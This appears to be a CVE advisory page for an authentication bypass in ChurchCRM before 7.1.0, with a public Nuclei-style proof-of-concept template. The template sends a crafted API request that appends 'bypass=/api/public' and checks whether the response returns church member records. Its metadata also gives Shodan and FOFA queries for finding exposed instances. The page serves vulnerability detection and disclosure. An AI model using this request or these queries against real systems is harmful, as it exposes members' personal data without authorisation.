CVE-2026-39339: ChurchCRM - API Authentication Bypass via URL Injection

2026-05-09 ChurchCRM PoC Public

Description

ChurchCRM < 7.1.0 contains an authentication bypass caused by improper API middleware URL handling in ChurchCRM/Slim/Middleware/AuthMiddleware.php, letting unauthenticated attackers access protected API endpoints, exploit requires crafted request URL with 'api/public

Details

CVE
CVE-2026-39339 · CVE.org
Severity
高危
Affected
ChurchCRM
Published
PoC
Public

PoC

id: CVE-2026-39339

info:
  name: ChurchCRM - API Authentication Bypass via URL Injection
  author: akhilshekhar
  severity: critical
  description: |
    ChurchCRM < 7.1.0 contains an authentication bypass caused by improper API middleware URL handling in ChurchCRM/Slim/Middleware/AuthMiddleware.php, letting unauthenticated attackers access protected API endpoints, exploit requires crafted request URL with 'api/public
  impact: |
    Unauthenticated attackers can access all protected API endpoints, exposing sensitive church member data and system information.
  remediation: |
    Update to version 7.1.0 or later.
  reference:
    - https://github.com/ChurchCRM/CRM/security/advisories/GHSA-v3p2-mx78-pxhc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-39339
    epss-score: 0.01351
    epss-percentile: 0.72
    cwe-id: CWE-284
    cpe: cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*
  metadata:
    vendor: churchcrm
    product: churchcrm
    shodan-query: http.title:"churchcrm"
    fofa-query: app="churchcrm"
  tags: cve,cve2026,churchcrm,auth-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/persons/latest?bypass=/api/public"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PersonId"
          - "FormattedName"
          - "\"people\""
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207336ee9da5a80017c39684511e7b9689b449d532ea3bfe8c9f798a4d47383866022100c4d109df6deeaa66ad5bc4232948c43b166e46e28b8c1931e65878d61d351348:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities

微信搜一搜 biu.life